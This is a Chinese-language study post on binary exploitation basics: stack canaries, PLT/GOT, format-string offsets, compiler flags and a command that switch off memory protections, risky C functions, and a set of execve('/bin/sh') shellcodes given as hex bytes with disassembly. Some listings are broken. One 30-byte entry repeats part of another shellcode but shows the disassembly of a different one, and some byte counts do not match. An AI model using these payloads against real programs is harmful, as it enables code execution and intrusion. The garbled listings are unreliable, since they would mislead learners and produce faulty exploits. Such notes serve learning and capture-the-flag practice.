pwn学习总结(二) —— 基础知识(持续更新)
pwn學習總結(二) —— 基礎知識(持續更新)
- Canary
 - PLT表&GOT表
 - 格式化字符串漏洞
 - GCC編譯參數
 - ASLR
 
- 危險函數
 - 輸入流
 - syscall條件
 - shellcode
 
- 其它
 
Canary
描述:溢出保護
 GCC設置Canary:
結構:
HighAddress | |+-----------------+| args |+-----------------+| return address |+-----------------+rbp => | old ebp |+-----------------+rbp-8 => | canary value |+-----------------+| 局部變量 |Low | |AddressPLT表&GOT表
PLT表:指向GOT表,作用是動態加載函數地址
 GOT表:位于數據段,函數被調用時,成員為函數在內存中的實際地址
格式化字符串漏洞
%1$p:RSI
 %2$p:RDX
 %3$p:RCX
 %4$p:R8
 %5$p:R9
 %6$p:RSP[0]
 %7$p:RSP[1]
 …
GCC編譯參數
-m32:編譯為32位程序
 -fno-stack-protector:關閉棧溢出保護
 -no-pie:關閉pie
 -z execstack:關閉NX保護
 -z norelro:關閉relro
 -z lazy:開啟relro,等級為1
 -z now:開啟relro,等級為2
 -fpie -pie:開啟pie,此時強度為1
 -fPIE -pie:開啟pie,此時最高強度為2
 -z noexecstack:開啟NX保護
清除調試信息(符號):strip elf
ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
0:關閉 ASLR,沒有隨機化。棧、堆、.so 的基地址每次都相同。
 1:普通的 ASLR。?;刂?、mmap 基地址、.so 加載基地址都將被隨機化,但是堆基地址沒有隨機化。
 2:增強的 ASLR,在 1 的基礎上,增加了堆基地址隨機化。
危險函數
輸入:
- gets,直接讀取一行,忽略’\x00’
 - scanf
 - vscanf
 
輸出:
- sprintf
 
字符串:
- strcpy,字符串復制,遇到’\x00’停止
 - strcat,字符串拼接,遇到’\x00’停止
 - bcopy
 
輸入流
標準輸入:stdin (0)
 標準輸出:stdout(1)
 標準錯誤輸出:stderr (2)
 文件輸入:open(3)
syscall條件
系統調用號,即 eax 應該為 0xb 第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。 第二個參數,即 ecx 應該為 0 第三個參數,即 edx 應該為 0shellcode
字節數:44
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
0x0 push 0x680x2 push 0x732f2f2f0x7 push 0x6e69622f0xc mov ebx, esp0xe push 0x10101010x13 xor dword ptr [esp], 0x10169720x1a xor ecx, ecx0x1c push ecx0x1d push 40x1f pop ecx0x20 add ecx, esp0x22 push ecx0x23 mov ecx, esp0x25 xor edx, edx0x27 push 0xb0x29 pop eax0x2a int 0x80字節數:21
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
0x0 xor ecx, ecx0x2 mul ecx0x4 mov al, 0xb0x6 push ecx0x7 push 0x68732f2f0xc push 0x6e69622f0x11 mov ebx, esp0x13 int 0x80字節數:30
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a
0x0 dec eax 0x1 xor edx, edx 0x3 dec eax 0x4 mov ebx, 0x69622f2f 0x9 outsb dx, byte ptr [esi] 0xa das 0xb jae 0x75 0xd dec eax 0xe shr ebx, 8 0x11 push ebx 0x12 dec eax 0x13 mov edi, esp 0x15 push eax 0x16 push edi 0x17 dec eax 0x18 mov esi, esp 0x1a mov al, 0x3b 0x1c syscall字節數:24
\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80
0x00 3E31C0 ds xor eax,eax 0x03 31D2 xor edx,edx 0x05 52 push edx 0x06 682F2F7368 push dword 0x68732f2f 0x0B 682F62696E push dword 0x6e69622f 0x10 89E3 mov ebx,esp 0x12 31C9 xor ecx,ecx 0x14 B00B mov al,0xb 0x16 CD80 int 0x80字節數:24
\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
00000000 6A3B push byte +0x3b 00000002 58 pop eax 00000003 99 cdq 00000004 52 push edx 00000005 48 dec eax 00000006 BB2F2F6269 mov ebx,0x69622f2f 0000000B 6E outsb 0000000C 2F das 0000000D 7368 jnc 0x77 0000000F 53 push ebx 00000010 54 push esp 00000011 5F pop edi 00000012 52 push edx 00000013 57 push edi 00000014 54 push esp 00000015 5E pop esi 00000016 0F05 syscall其它
‘$0’ = ‘/bin/sh’
總結
以上是生活随笔為你收集整理的pwn学习总结(二) —— 基础知识(持续更新)的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: pwn学习总结(一) —— 常用命令
 - 下一篇: pwn学习总结(三) —— 栈溢出经典题